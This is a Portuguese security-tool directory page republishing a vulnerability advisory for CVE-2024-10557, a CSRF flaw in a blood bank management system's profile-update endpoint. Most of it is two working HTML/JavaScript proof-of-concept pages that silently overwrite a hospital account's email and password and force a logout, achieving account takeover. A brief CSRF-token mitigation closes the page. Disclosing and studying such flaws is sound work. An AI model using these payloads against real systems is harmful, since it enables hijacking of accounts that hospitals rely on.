Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-10557 — Um POC de CSRF para Atualização do Perfil de um Hospital levando à Tomada de Conta | Kitploit
Ferramentas/GitHubGitHub/bevennyamande/cve-2024-10557
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubbevennyamande/cve-2024-10557

CVE-2024-10557

Um POC de CSRF para Atualização do Perfil de um Hospital levando à Tomada de Conta

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Versão Afetada:

  • BloodBank Management System: 1.0

Informações da Vulnerabilidade:

  • Tipo de Vulnerabilidade: Cross Site Request Forgery (CSRF)
  • Gravidade: ALTA
  • Status: Não corrigido

Endpoint Vulnerável:

  • Caminho: /file/updateprofile.php

Descrição da Vulnerabilidade:

Existe uma vulnerabilidade de CSRF neste endpoint /file/updateprofile.php que permite que um usuário remoto atualize os detalhes do usuário de um hospital e pode levar à tomada de conta, pois o atacante pode atualizar todas as informações, desde o e-mail até a senha, aumentando efetivamente as chances de tomada de conta.

A exploração bem-sucedida pode levar a ações não autorizadas, ou seja, exclusão de dados, em nome da vítima. Além disso, isso poderia ser explorado ao visitar sites maliciosos com o payload.


Prova de Conceito (PoC):

Abaixo está um exemplo de um Ataque PoC de CSRF que atualiza os detalhes do perfil de uma conta de hospital logada; hospede o arquivo em um domínio controlado pelo atacante — no meu caso, eu estava usando localhost:


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with Logout Redirect</title>
</head>
<body>
    <h2>CSRF Proof of Concept with Chained Logout</h2>

    <!-- Form to exploit CSRF vulnerability for updating profile -->
    <form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
        <input type="hidden" name="hname" value="parirenyatwa">
        <input type="hidden" name="hemail" value="[email protected]">
        <input type="hidden" name="hpassword" value="pari1234">
        <input type="hidden" name="hphone" value="0777054000">
        <input type="hidden" name="hcity" value="harare">
        <input type="hidden" name="update" value="Update">
    </form>

    <script>
        // Submit the CSRF form to update profile
        document.getElementById("csrfForm").submit();
   </script>
</body>
</html>



Prova de Conceito (PoC) para Tomada de Conta

  • O atacante pode efetivamente atualizar os detalhes do perfil manipulando o e-mail e a senha e forçar um logout CSRF, alcançando assim a tomada de conta.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
    <h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>

    <script>
        // Define the target URLs for the CSRF attack
        const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
        const logoutUrl = "http://localhost.local/bloodbank/logout.php";

        // Data for the profile update CSRF request
        const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";

        // Function to send the XMLHttpRequest
        function sendCSRFUpdate() {
            const xhr = new XMLHttpRequest();
            xhr.open("POST", updateUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

            // When the request is complete, redirect to the logout page
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log("Profile update CSRF request completed");
                    // Redirect to logout URL to log the victim out
                    window.location.href = logoutUrl;
                } else {
                    console.error("Profile update failed with status:", xhr.status);
                }
            };

            // Send the request with the update data
            xhr.send(updateData);
        }

        // Trigger the CSRF attack by sending the update request
        sendCSRFUpdate();
    </script>
</body>
</html>




Impacto:

  • Manipulação de Dados: Os atacantes poderiam modificar o conteúdo exibido aos usuários.
  • Danos Reputacionais: Os usuários podem perder a confiança no sistema devido a comportamento malicioso.

Recomendações de Mitigação:

  1. Use Token CSRF Implemente um mecanismo para impedir o acesso entre domínios ou coloque csrf tokens na sua requisição e também evite que requisições GET realizem ações que alterem o estado.
Baixar ferramenta